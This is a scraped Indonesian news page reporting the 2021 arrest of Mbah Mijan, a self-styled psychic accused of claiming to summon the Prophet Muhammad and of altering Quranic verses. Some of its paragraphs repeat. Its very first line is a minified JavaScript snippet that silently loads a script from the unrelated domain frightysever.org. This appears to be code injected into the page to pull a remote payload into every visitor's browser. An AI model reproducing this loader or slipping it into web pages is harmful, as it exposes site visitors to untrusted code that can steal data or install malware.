(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM– Paranormal Mbah Mijan Miharjo ditangkap polisi usai mengaku bisa memanggil sosok Nabi Muhammad. Penahanan tersebut bermula dari laporan masyarakat yang merasa resah atas tingkah dan kepercayaan Mbah Mijan tersebut.
Mbah Mijan dikabarkan mengaku bahwa dirinya bisa memanggil Nabi Muhammad dan juga malaikat.
Kapolsek Rumbia, Iptu Eko Heri Susanto mengatakan laporan berawal dari masyarakat mengungkapkan, Mbah Mijan juga kerap kali mengubah ayat-ayat dalam kitab suci Alquran sehingga membuat makna yang berbeda dari seharusnya.
“Terkuaknya aliran menyimpang ini berawal dari keresahan masyarakat di wilayah setempat,” ujar Eko Heri dilansir dari terkini.id, Rabu (10/3/2021).
Mbah Mijan diketahui ditangkap bersama muridnya, yang juga dikabarkan menganut paham yang menyimpang selama dua tahun terakhir.
Keduanya pun akhirnya diminta mengucap dua kalimat Syahadat di Musala At-Taufik, Kompleks Mapolsek Rumbia yang disaksikan unsur Forkopimcam Rumbia dan Tim Pengawasan Aliran Kepercayaan dan Keagamaan dalam Masyarakat.
“Terkuaknya aliran menyimpang ini berawal dari keresahan masyarakat di wilayah setempat,” ujar Eko Heri, dikutip dari Radar Lampung, Rabu, 10 Maret 2021.
Mbah Mijan diketahui ditangkap bersama muridnya, yang dimana telah dikabarkan menganut paham yang menyimpang selama dua tahun.
Keduanya pun telah mengucap Dua Kalimat Syahadat di Musala At-Taufik, kompleks Mapolsek Rumbia.
Pengucapan kalimat ini disaksikan unsur Forkopimcam Rumbia dan Tim Pengawasan Aliran Kepercayaan dan Keagamaan dalam Masyarakat.
Sementara di media sosial terdapat nama yang sama mbah Mijan juga mengungkapkan kasus ini. Twittannya di media sosial Twitter itupun ramai dikomentari netizen. (suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
This website uses cookies.